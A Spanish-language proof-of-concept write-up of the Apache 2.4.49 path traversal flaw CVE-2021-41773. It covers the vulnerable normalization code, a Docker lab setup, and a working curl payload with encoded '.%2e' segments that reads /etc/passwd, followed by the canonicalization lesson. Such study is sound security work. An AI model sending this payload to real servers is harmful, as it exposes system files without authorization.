
PoC y análisis de CVE-2021-41773
CVE-2021-41773 es una vulnerabilidad de path traversal que afecta a Apache HTTP Server 2.4.49.
La vulnerabilidad permite a un atacante acceder a archivos fuera del directorio previsto bajo configuraciones específicas, particularmente cuando los directorios están expuestos a través de directivas Alias, ScriptAlias u otras directivas similares a Alias.
La vulnerabilidad existe debido a un manejo incorrecto de la normalización y canonicalización de rutas URL. Apache realizaba comprobaciones de seguridad sobre una representación de la ruta que aún podía contener caracteres codificados, lo que permitía a los atacantes evadir la detección de traversal mediante secuencias de puntos codificadas.
Un atacante puede crear una URL maliciosa que contenga secuencias de traversal codificadas como:
.%2e
donde:
%2e = .
Por lo tanto:
.%2e
se convierte en:
..
después de la decodificación.
Si Apache valida la representación codificada antes de resolverla a su forma canónica, la comprobación de traversal puede ser evadida.
Una explotación exitosa puede permitir a un atacante leer archivos arbitrarios del sistema de archivos.
Ejemplo de objetivo:
/etc/passwd
La lógica vulnerable se encuentra en:
server/util.c
dentro de:
ap_normalize_path()
Código vulnerable de Apache 2.4.49:
if (path[l] == '.') {
/* Remove /./ segments */
if (IS_SLASH_OR_NUL(path[l + 1])) {
l++;
if (path[l]) {
l++;
}
continue;
}
/* Remove /xx/../ segments */
if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
/* Wind w back to remove the previous segment */
if (w > 1) {
do {
w--;
} while (w && !IS_SLASH(path[w - 1]));
}
else {
/* Already at root, ignore and return a failure
* if asked to.
*/
if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
ret = 0;
}
}
/* Move l forward to the next segment */
l += 2;
if (path[l]) {
l++;
}
continue;
}
}
El código vulnerable intenta identificar patrones de traversal de directorios:
../
comprobando si hay puntos consecutivos:
path[l + 1] == '.'
Sin embargo, un atacante puede proporcionar una secuencia de traversal codificada:
/.%2e/
En el momento de la comprobación de normalización, Apache procesa:
.%2e
en lugar de:
..
Debido a que:
%2e != .
la lógica de detección de traversal no reconoce la secuencia como:
../
La ruta se interpreta entonces en su forma decodificada, lo que permite que se produzca el traversal.
El comportamiento vulnerable se puede representar como:
HTTP Request
|
v
Path normalization / traversal validation
|
v
URL decoding / canonicalization
|
v
Filesystem access
La decisión de seguridad se toma antes de que la ruta alcance su representación canónica final.
Un enfoque más seguro es:
HTTP Request
|
v
URL decoding
|
v
Path normalization
|
v
Traversal validation
|
v
Filesystem access
Las comprobaciones de seguridad siempre deben realizarse sobre la representación normalizada final.
git clone https://github.com/tr3m0x/CVE-2021-41773.git
cd CVE-2021-41773
docker build -t apache-cve-2021-41773 .
docker run -d \
--name apache-vulnerable \
-p 8989:80 \
apache-cve-2021-41773
Envíe una solicitud que contenga una secuencia de traversal codificada:
curl --path-as-is \
"http://localhost:8989/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"
Una explotación exitosa devuelve el contenido de:
/etc/passwd
Ejemplo:
root:x:0:0:root:/root:/bin/bash
Una respuesta 403 Forbidden no significa necesariamente que la explotación haya fallado.
Durante las pruebas, Apache puede normalizar correctamente:
/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd
en:
/etc/passwd
pero denegar el acceso debido a los permisos del sistema de archivos o a las reglas de autorización de Apache.
Ejemplo:
client denied by server configuration: /etc/passwd
Esto indica que el traversal se produjo correctamente, pero el control de acceso impidió la divulgación del archivo.
CVE-2021-41773 es un ejemplo clásico de una vulnerabilidad de canonicalización.
La entrada controlada por el usuario puede tener múltiples representaciones:
.%2e
y:
..
Aunque parecen diferentes, representan el mismo componente de ruta.
Las comprobaciones de seguridad siempre deben realizarse después de la decodificación y la normalización. Validar una representación codificada o ambigua puede dar lugar a la evasión de la seguridad.